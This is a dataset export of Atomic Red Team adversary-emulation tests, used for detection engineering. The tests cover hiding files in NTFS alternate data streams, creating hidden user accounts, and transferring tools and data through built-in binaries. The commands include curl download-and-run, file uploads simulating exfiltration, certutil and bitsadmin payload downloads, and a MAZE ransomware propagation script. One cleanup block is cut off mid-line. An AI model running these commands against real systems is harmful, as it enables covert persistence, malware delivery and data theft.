deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1564.004: Hide Artifacts: NTFS File Attributes
Test: Alternate Data Streams (ADS)
Platforms: windows
Executor: command_prompt

Description:
Execute from Alternate Streams

[Reference - 1](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)

[Reference - 2](https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/)


Command:
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\temp:ttt
makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat #{path}\file.txt:file.bat
esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o
Atomic Red Team — T1564.004: Hide Artifacts: NTFS File Attributes
Test: Store file in Alternate Data Stream (ADS)
Platforms: windows
Executor: powershell

Description:
Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
Upon execution, cmd will run and attempt to launch desktop.ini. No windows remain open after the test


Command:
if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) {
    New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki
    }
Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_path},>,`"#{ads_file_path}:#{ads_name}`""


Cleanup:
Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore
Atomic Red Team — T1564.004: Hide Artifacts: NTFS File Attributes
Test: Create ADS command prompt
Platforms: windows
Executor: command_prompt

Description:
Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run "dir /a-d /s /r | find ":$DATA"" in the %temp%
folder to view that the alternate data stream exists. To view the data in the alternate data stream, run "notepad T1564.004_has_ads.txt:adstest.txt"


Command:
echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename}
for /f "usebackq delims=?" %i in (#{file_name}:#{ads_filename}) do %i


Cleanup:
del #{file_name} >nul 2>&1
Atomic Red Team — T1564.004: Hide Artifacts: NTFS File Attributes
Test: Create ADS PowerShell
Platforms: windows
Executor: powershell

Description:
Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, run the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
in the %temp% directory to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.


Command:
echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test"
set-content -path #{file_name} -stream #{ads_filename} -value "test2"
set-content -path . -stream #{ads_filename} -value "test3"


Cleanup:
Remove-Item -Path #{file_name} -ErrorAction Ignore


Dependencies:
The file must exist on disk at specified location (#{file_name})
Atomic Red Team — T1564.004: Hide Artifacts: NTFS File Attributes
Test: Create Hidden Directory via $index_allocation
Platforms: windows
Executor: command_prompt

Description:
Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,
run "dir /A /Q /R" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
alternate data stream, run "type %temp%\...$.......::$index_allocation\secrets.txt"


Command:
md #{folder_name}
echo too many secrets > #{folder_name}\#{hidden_filename}


Cleanup:
rmdir /S /Q #{folder_name} >nul 2>&1
Atomic Red Team — T1564.002: Hide Artifacts: Hidden Users
Test: Create Hidden User using UniqueID < 500
Platforms: macos
Executor: sh

Description:
Add a hidden user on macOS using Unique ID < 500 (users with that ID are hidden by default)


Command:
sudo dscl . -create /Users/#{user_name} UniqueID 333


Cleanup:
sudo dscl . -delete /Users/#{user_name}
Atomic Red Team — T1564.002: Hide Artifacts: Hidden Users
Test: Create Hidden User using IsHidden option
Platforms: macos
Executor: sh

Description:
Add a hidden user on macOS using IsHidden optoin


Command:
sudo dscl . -create /Users/#{user_name} IsHidden 1


Cleanup:
sudo dscl . -delete /Users/#{user_name}
Atomic Red Team — T1564.002: Hide Artifacts: Hidden Users
Test: Create Hidden User in Registry
Platforms: windows
Executor: command_prompt

Description:
Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.
Reference https://attack.mitre.org/techniques/T1564/002/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/


Command:
NET USER #{user_name}$ #{user_password} /ADD /expires:never 
REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v #{user_name}$ /t REG_DWORD /d 0


Cleanup:
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v #{user_name}$ /f >nul 2>&1
net user ${user_name}$ /delete >nul 2>&1
Atomic Red Team — T1105: Ingress Tool Transfer
Test: rsync remote file copy (push)
Platforms: linux, macos
Executor: sh

Description:
Utilize rsync to perform a remote file copy (push)


Command:
rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}


Dependencies:
rsync must be installed on the machine
Atomic Red Team — T1105: Ingress Tool Transfer
Test: rsync remote file copy (pull)
Platforms: linux, macos
Executor: sh

Description:
Utilize rsync to perform a remote file copy (pull)


Command:
rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}


Dependencies:
rsync must be installed on the machine
Atomic Red Team — T1105: Ingress Tool Transfer
Test: scp remote file copy (push)
Platforms: linux, macos
Executor: sh

Description:
Utilize scp to perform a remote file copy (push)


Command:
scp #{local_file} #{username}@#{remote_host}:#{remote_path}
Atomic Red Team — T1105: Ingress Tool Transfer
Test: scp remote file copy (pull)
Platforms: linux, macos
Executor: sh

Description:
Utilize scp to perform a remote file copy (pull)


Command:
scp #{username}@#{remote_host}:#{remote_file} #{local_path}
Atomic Red Team — T1105: Ingress Tool Transfer
Test: sftp remote file copy (push)
Platforms: linux, macos
Executor: bash

Description:
Utilize sftp to perform a remote file copy (push)


Command:
sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}'
Atomic Red Team — T1105: Ingress Tool Transfer
Test: sftp remote file copy (pull)
Platforms: linux, macos
Executor: sh

Description:
Utilize sftp to perform a remote file copy (pull)


Command:
sftp #{username}@#{remote_host}:#{remote_file} #{local_path}
Atomic Red Team — T1105: Ingress Tool Transfer
Test: certutil download (urlcache)
Platforms: windows
Executor: command_prompt

Description:
Use certutil -urlcache argument to download a file from the web. Note - /urlcache also works!


Command:
cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}


Cleanup:
del #{local_path} >nul 2>&1
Atomic Red Team — T1105: Ingress Tool Transfer
Test: certutil download (verifyctl)
Platforms: windows
Executor: powershell

Description:
Use certutil -verifyctl argument to download a file from the web. Note - /verifyctl also works!


Command:
$datePath = "certutil-$(Get-Date -format yyyy_MM_dd)"
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }


Cleanup:
Remove-Item "certutil-$(Get-Date -format yyyy_MM_dd)" -Force -Recurse -ErrorAction Ignore
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Windows - BITSAdmin BITS Download
Platforms: windows
Executor: command_prompt

Description:
This test uses BITSAdmin.exe to schedule a BITS job for the download of a file.
This technique is used by Qbot malware to download payloads.


Command:
C:\Windows\System32\bitsadmin.exe /transfer #{bits_job_name} /Priority HIGH #{remote_file} #{local_path}
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Windows - PowerShell Download
Platforms: windows
Executor: powershell

Description:
This test uses PowerShell to download a payload.
This technique is used by multiple adversaries and malware families.


Command:
(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")


Cleanup:
Remove-Item #{destination_path} -Force -ErrorAction Ignore
Atomic Red Team — T1105: Ingress Tool Transfer
Test: OSTAP Worming Activity
Platforms: windows
Executor: command_prompt

Description:
OSTap copies itself in a specfic way to shares and secondary drives. This emulates the activity.


Command:
pushd #{destination_path}
echo var fileObject = WScript.createobject("Scripting.FileSystemObject");var newfile = fileObject.CreateTextFile("AtomicTestFileT1105.js", true);newfile.WriteLine("This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.");newfile.Close(); > AtomicTestT1105.js
CScript.exe AtomicTestT1105.js //E:JScript
del AtomicTestT1105.js /Q >nul 2>&1
del AtomicTestFileT1105.js /Q >nul 2>&1
popd
Atomic Red Team — T1105: Ingress Tool Transfer
Test: svchost writing a file to a UNC path
Platforms: windows
Executor: command_prompt

Description:
svchost.exe writing a non-Microsoft Office file to a file with a UNC path.
Upon successful execution, this will rename cmd.exe as svchost.exe and move it to `c:\`, then execute svchost.exe with output to a txt file.


Command:
copy C:\Windows\System32\cmd.exe C:\svchost.exe
C:\svchost.exe /c echo T1105 > \\localhost\c$\T1105.txt


Cleanup:
del C:\T1105.txt >nul 2>&1
del C:\\svchost.exe >nul 2>&1
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Download a File with Windows Defender MpCmdRun.exe
Platforms: windows
Executor: command_prompt

Description:
Uses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).
The input arguments "remote_file" and "local_path" can be used to specify the download URL and the name of the output file.
By default, the test downloads the Atomic Red Team license file to the temp directory.

More info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/


Command:
cd "%ProgramData%\Microsoft\Windows Defender\platform\4.18*"
MpCmdRun.exe -DownloadFile -url #{remote_file} -path #{local_path}


Cleanup:
del #{local_path} >nul 2>&1
del %temp%\MpCmdRun.log >nul 2>&1

Dependencies:
Must have a Windows Defender version with MpCmdRun.exe installed
Atomic Red Team — T1105: Ingress Tool Transfer
Test: whois file download
Platforms: linux, macos
Executor: sh

Description:
Download a remote file using the whois utility


Command:
timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} "#{query}" > #{output_file}


Cleanup:
rm -f #{output_file}


Dependencies:
The whois and timeout commands must be present
Atomic Red Team — T1105: Ingress Tool Transfer
Test: File Download via PowerShell
Platforms: windows
Executor: powershell

Description:
Use PowerShell to download and write an arbitrary file from the internet. Example is from the 2021 Threat Detection Report by Red Canary.


Command:
(New-Object Net.WebClient).DownloadString('#{target_remote_file}') | Out-File #{output_file}; Invoke-Item #{output_file}
Atomic Red Team — T1105: Ingress Tool Transfer
Test: File download with finger.exe on Windows
Platforms: windows
Executor: command_prompt

Description:
Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server.
Because this is being tested on the localhost, you should not be expecting a successful connection
https://www.exploit-db.com/exploits/48815
https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/


Command:
finger base64_filedata@#{remote_host}
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Download a file with IMEWDBLD.exe
Platforms: windows
Executor: powershell

Description:
Use IMEWDBLD.exe (built-in to windows) to download a file. This will throw an error for an invalid dictionary file.
Downloaded files can be found in "%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>" or `%LocalAppData%\Microsoft\Windows\INetCache\IE\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>.
Run "Get-ChildItem -Path C:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\INetCache\ -Include <FILENAME>* -Recurse -Force -File -ErrorAction SilentlyContinue" without quotes and adding the correct username and file name to locate the file.


Command:
$imewdbled = $env:SystemRoot + "\System32\IME\SHARED\IMEWDBLD.exe"
& $imewdbled #{remote_url}


Cleanup:
$inetcache = $env:LOCALAPPDATA + "\Microsoft\Windows\INetCache\" 
$file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include #{file_name}* -Recurse -Force -File -ErrorAction SilentlyContinue)
if("" -ne "$file_to_be_removed") { Remove-Item "$file_to_be_removed" -ErrorAction Ignore }
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Curl Download File
Platforms: windows
Executor: command_prompt

Description:
The following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.
Expected output will include whether the file downloaded successfully or not.


Command:
#{curl_path} -k #{file_download} -o c:\users\public\music\allthethingsx64.dll
#{curl_path} -k #{file_download} --output c:\users\public\music\allthethingsx64.dll
#{curl_path} -k #{file_download} -o c:\programdata\allthethingsx64.dll
#{curl_path} -k #{file_download} -o %Temp%\allthethingsx64.dll


Cleanup:
del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\users\public\music\allthethingsx64.dll >nul 2>&1
del c:\programdata\allthethingsx64.dll >nul 2>&1
del %Temp%\allthethingsx64.dll >nul 2>&1


Dependencies:
Curl must be installed on system.
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Curl Upload File
Platforms: windows
Executor: command_prompt

Description:
The following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration
Expected output will include whether the file uploaded successfully or not.


Command:
#{curl_path} -T #{file_path} #{remote_destination}
#{curl_path} --upload-file #{file_path} #{remote_destination}
#{curl_path} -d #{file_path} #{remote_destination}
#{curl_path} --data #{file_path} #{remote_destination}


Dependencies:
Curl must be installed on system.

A file must be created to upload
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Download a file with Microsoft Connection Manager Auto-Download
Platforms: windows
Executor: command_prompt

Description:
Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. 
The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.
Upon successful execution the test will open calculator and Notepad executable for 10 seconds.
reference:
https://twitter.com/ElliotKillick/status/[PII_REDACTED]63074824
https://github.com/LOLBAS-Project/LOLBAS/pull/151
https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/
https://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html


Command:
"#{Path_to_file}" 1>NUL 


Cleanup:
del /f/s/q %temp%\T1105 >nul 2>&1
rmdir /s/q %temp%\T1105 >nul 2>&1


Dependencies:
#{Path_to_file} must exist on system.
Atomic Red Team — T1105: Ingress Tool Transfer
Test: MAZE Propagation Script
Platforms: windows
Executor: powershell

Description:
This test simulates MAZE ransomware's propogation script that searches through a list of computers, tests connectivity to them, and copies a binary file to the Windows\Temp directory of each one. 
Upon successful execution, a specified binary file will attempt to be copied to each online machine, a list of the online machines, as well as a list of offline machines will be output to a specified location.
Reference: https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html 


Command:
$machine_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt"
$offline_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105OfflineHosts.txt"
$completed_list = "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt"
foreach ($machine in get-content -path "$machine_list")
{if (test-connection -Count 1 -computername $machine -quiet) 
{cmd /c copy "#{binary_file}" "\\$machine\#{remote_drive_letter}$#{exe_remote_folder}"
echo $machine >> "$completed_list"
wmic /node: "$machine" process call create "regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}"}
else
{echo $machine >> "$offline_list"}}


Cleanup:
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt") 
{foreach ($machine in get-content -path "PathToAtomicsFolder\..\ExternalPayloads\T1105CompletedHosts.txt")
{wmic /node: "$machine" process where name='"regsvr32.exe"' call terminate | out-null
Remove-Item -path "\\$mac

Dependencies:
Binary file must exist at specified location (#{binary_file})

Machine list must exist at specified location ("PathToAtomicsFolder\..\ExternalPayloads\T1105MachineList.txt")
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Printer Migration Command-Line Tool UNC share folder into a zip file
Platforms: windows
Executor: command_prompt

Description:
Create a ZIP file from a folder in a remote drive


Command:
del %TEMP%\PrintBrm.zip >nul 2>&1 
#{Path_PrintBrm} -b -d #{Path_unc}  -f %TEMP%\PrintBrm.zip -O FORCE


Cleanup:
del %TEMP%\PrintBrm.zip >nul 2>&1
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Lolbas replace.exe use to copy file
Platforms: windows
Executor: command_prompt

Description:
Copy file.cab to destination
Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/


Command:
del %TEMP%\redcanary.cab >nul 2>&1
#{Path_replace} "#{replace_cab}" %TEMP% /A


Cleanup:
del %TEMP%\redcanary.cab >nul 2>&1


Dependencies:
#{replace_cab} must exist on system.
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Lolbas replace.exe use to copy UNC file
Platforms: windows
Executor: command_prompt

Description:
Copy UNC file to destination
Reference: https://lolbas-project.github.io/lolbas/Binaries/Replace/


Command:
del %TEMP%\redcanary.cab >nul 2>&1
#{Path_replace} #{replace_cab} %TEMP% /A


Cleanup:
del %TEMP%\redcanary.cab >nul 2>&1
Atomic Red Team — T1105: Ingress Tool Transfer
Test: certreq download
Platforms: windows
Executor: command_prompt

Description:
Use certreq to download a file from the web

Command:
certreq.exe -Post -config #{remote_file} c:\windows\win.ini #{local_path}

Cleanup:
del #{local_path} >nul 2>&1
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Download a file using wscript
Platforms: windows
Executor: command_prompt

Description:
Use wscript to run a local VisualBasic file to download a remote file

Command:
wscript.exe "#{vbscript_file}"


Cleanup:
del Atomic-License.txt >nul 2>&1

Dependencies:
#{vbscript_file} must be exist on system.
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Linux Download File and Run
Platforms: linux
Executor: sh

Description:
Utilize linux Curl to download a remote file, chmod +x it and run it.


Command:
curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}


Cleanup:
rm #{payload_name}
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Nimgrab - Transfer Files
Platforms: windows
Executor: command_prompt

Description:
Use nimgrab.exe to download a file from the web. 


Command:
cmd /c "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe" #{remote_file} #{destination_path}


Cleanup:
del #{destination_path} >nul 2>&1


Dependencies:
NimGrab must be installed on system.
Atomic Red Team — T1105: Ingress Tool Transfer
Test: iwr or Invoke Web-Request download
Platforms: windows
Executor: command_prompt

Description:
Use 'iwr' or "Invoke-WebRequest" -URI argument to download a file from the web. Note: without -URI also works in some versions.


Command:
powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}


Cleanup:
del %temp%\Atomic-license.txt >nul 2>&1
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Arbitrary file download using the Notepad++ GUP.exe binary
Platforms: windows
Executor: command_prompt

Description:
GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github.
[Reference](https://x.com/nas_bench/status/[PII_REDACTED]63179776?s=20)
Upon execution, a sample zip file will be downloaded to C:\Temp\Sample folder

Command:
mkdir "c:\Temp"
cd #{working_dir}
GUP.exe -unzipTo "" "C:\Temp" "Sample #{target_file_url} #{target_file_sha256}"

Cleanup:
rmdir /s /q "C:\Temp\Sample" >nul 2>nul

Dependencies:
Gup.exe binary must exist on disk at specified location (#{gup_executable})
Atomic Red Team — T1105: Ingress Tool Transfer
Test: File download via nscurl
Platforms: macos
Executor: sh

Description:
Use nscurl to download and write a file/payload from the internet.
-k = Disable certificate checking
-o = Output destination


Command:
nscurl -k "#{remote_file}" -o "#{destination_path}"

Cleanup:
rm "#{destination_path}"
Atomic Red Team — T1105: Ingress Tool Transfer
Test: File Download with Sqlcmd.exe
Platforms: windows
Executor: powershell

Description:
One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers
This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL

Command:
sqlcmd -i #{remote_url} -o #{local_file_path}

Cleanup:
rm "#{local_file_path}" 2>$null | Out-Null

Dependencies:
Windows package 'Sqlcmd' need to be available in the machine to execute this atomic successfully
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Remote File Copy using PSCP
Platforms: windows
Executor: command_prompt

Description:
Copy a staged file using PSCP.exe to a public target location.


Command:
fsutil file createnew C:\Temp\T1105_scp.zip 1048576
echo y | #{pscp_binary} -P #{scp_port} -pw #{scp_password} #{exfil_package} #{scp_user}@#{target_location}:#{target_filename}


Cleanup:
del /f /q #{exfil_package}


Dependencies:
pscp.exe must be available on the system.
Atomic Red Team — T1105: Ingress Tool Transfer
Test: Windows push file using scp.exe
Platforms: windows
Executor: powershell

Description:
This test simulates pushing files using SCP on a Windows environment.


Command:
# Check if the folder exists, create it if it doesn't
$folderPath = "#{local_path}"
if (-Not (Test-Path -Path $folderPath)) {
    New-Item -Path $folderPath -ItemType Directory
}

# Create the file
$filePath = Join-Path -Path $folderPath -ChildPath "#{file_name}"
New-Item -Path $filePath -ItemType File -Force
Write-Output "File created: $filePath"

# Attack command
scp.exe #{local_path}\#{file_name} #{username}@#{remote_host}:#{remote_path}


Cleanup:
$filePath = Join-Path -Path "#{local_path}" -ChildPath "#{file_name}"
Remove-Item -Path $filePath -Force -erroraction silentlycontinue
Write-Output "File deleted: $filePath"


Dependencies:
This test requires the `scp` command to be available on the system.